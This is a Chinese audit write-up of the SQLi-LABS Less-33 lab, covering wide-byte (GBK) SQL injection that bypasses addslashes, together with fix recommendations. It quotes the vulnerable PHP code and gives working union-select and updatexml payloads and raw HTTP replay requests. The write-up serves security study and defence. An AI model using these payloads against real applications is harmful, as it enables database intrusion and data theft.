sqli-labs-Less-33-代码审计报告

13次阅读
没有评论

Less-33 审计报告:宽字节注入绕过 addslashes(GBK)

1. 关卡概述

项目 内容
关卡名称 Less-33 Bypass addslashes()
源码路径 Less-33/index.php
漏洞类型 SQL 注入 – 宽字节注入(GBK + addslashes 被多字节"吃掉")
注入点参数 GET /Less-33/?id=
报错/盲注 报错回显(print_r(mysql_error()),第 52 行)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x + GBK 字符集

2. 漏洞代码定位

文件: Less-33/index.php

// 第 17~21 行:使用 PHP 内置 addslashes
function check_addslashes($string)
{
    $string= addslashes($string);
    return $string;
}

// 第 26 行:输入经过 addslashes
$id=check_addslashes($_GET['id']);

// 第 36 行:关键 —— 连接字符集设为 GBK
mysql_query("SET NAMES gbk");

// 第 37 行:单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 第 52 行:报错回显
print_r(mysql_error());

3. 漏洞分析

  • 防御设计:addslashes() 把 ' 转成 \'、" 转成 \"、\ 转成 \\、NUL 转成 \0,看起来能阻止字符串闭合。
  • 宽字节原理(核心):
    • addslashes 是字节级转义,不感知多字节字符集;
    • 第 36 行 SET NAMES gbk 使 MySQL 按 GBK 解析;
    • %bf%27(0xBF 0x27)经 addslashes 转义 ' → 0xBF 0x5C 0x27;GBK 将 0xBF 0x5C 解析为一个汉字,0x27 成为独立单引号 → 闭合成功。
  • 利用前提:连接字符集为 GBK,且客户端转义与服务器解析字符集脱节。
  • 可被绕过的本质:单字节转义函数 vs 多字节解析,长度/边界不一致。

4. 利用方式

步骤一:确认宽字节注入

  • ?id=1%bf%27 → 报 SQL 语法错误,证明 %bf 吃掉了反斜杠。

步骤二:联合注入(核心 payload)

-1%bf%27 union select 1,2,database()-- -

拼接后(字节层面):

SELECT * FROM users WHERE id='-1<犘>' union select 1,2,database()-- -' LIMIT 0,1
  • 结果显示 Your Login name:2、Your Password:security。

步骤三:报错注入

-1%bf%27 and updatexml(1,concat(0x7e,database()),1)-- -

回显 XPATH syntax error: '~security'。

步骤四:提取其它数据

-1%bf%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-33/?id=-1%bf%27%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

报错注入报文:

GET /sqli-labs/Less-33/?id=-1%bf%27%20and%20updatexml(1,concat(0x7e,database()),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

%bf%27 必须保持 URL 编码发送。


6. 修复建议

修复一:统一字符集 + 参数化(PDO)

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=gbk', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();

修复二:mysqli 预处理

<?php
mysqli_set_charset($mysqli, 'gbk');
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();

修复三:加固要点

  • 用 mysqli_set_charset 而非 SET NAMES;统一客户端/服务器字符集;
  • 推荐直接使用 utf8mb4,根除宽字节;
  • id 参数 ctype_digit()/is_numeric() 强校验;
  • 关闭 mysql_error() 回显;数据库最小权限;升级 PHP 7+ / 8+。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展、MySQL 使用 GBK。
正文完
 0